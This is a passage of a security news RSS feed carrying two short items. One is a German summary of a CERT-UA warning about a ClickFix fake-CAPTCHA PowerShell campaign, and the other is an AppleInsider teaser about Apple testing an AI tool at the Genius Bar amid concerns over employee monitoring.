]]> <![CDATA[CERT-UA warnt vor ClickFix-Kampagne UAC-0145: PowerShell-CAPTCHA fĂŒhrt zu Datenklau]]> https://tsecurity.de/de/3679796/it-security-nachrichten/cert-ua-warnt-vor-clickfix-kampagne-uac-0145-powershell-captcha-fuehrt-zu-datenklau/ https://tsecurity.de/de/3679796/it-security-nachrichten/cert-ua-warnt-vor-clickfix-kampagne-uac-0145-powershell-captcha-fuehrt-zu-datenklau/ Sun, 19 Jul 2026 19:43:35 +0200 📰 IT Security Nachrichten tsecurity.de KIEW / LONDON (IT BOLTWISE) – CERT-UA beschreibt eine neue ClickFix-basierte Kampagne, bei der gefĂ€lschte CAPTCHA-PrĂŒfungen Opfer dazu bringen, auf kompromittierten Seiten selbst schĂ€dliche PowerShell-Befehle auszufĂŒhren. Dahinter steht laut Meldung der Cluster UAC-0145, dem Sandworm-Umfeld zugeordnet. ZusĂ€tzlich nutzen die Angreifer ein dynamisches Web-Overlay, um Inhalte je nach Besucher umzuschalten, und setzen Reconnaissance-Skripte ein. FĂŒr Unternehmen [
]

Dieser Beitrag CERT-UA warnt vor ClickFix-Kampagne UAC-0145: PowerShell-CAPTCHA fĂŒhrt zu Datenklau erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[Genius Bar AI tools spark concerns over employee monitoring & evaluation]]> https://tsecurity.de/de/3679619/ios-mac-os/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation/ https://tsecurity.de/de/3679619/ios-mac-os/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation/ Sun, 19 Jul 2026 16:39:02 +0200 🍏 iOS / Mac OS tsecurity.de
Back of a gray Apple iPad with rear camera and Apple logo, set against a dark background featuring glowing neon loops in orange, yellow, blue, and pink
Genius Bar employees may gain a new AI assistant

Artificial intelligence has become a buzzword throughout the tech industry from both the consumer and employee perspective. Employees of any kind at many companies have had to contend with mandatory AI tool use forced on them by the employer.

So far, reports haven't indicated Apple taking such a hardline route to AI tool use. However, the "Power On" newsletter from Bloomberg shares that Apple is testing a new tool called Live Notes for use in the Genius Bar.


Continue Reading on AppleInsider | Discuss on our Forums]]>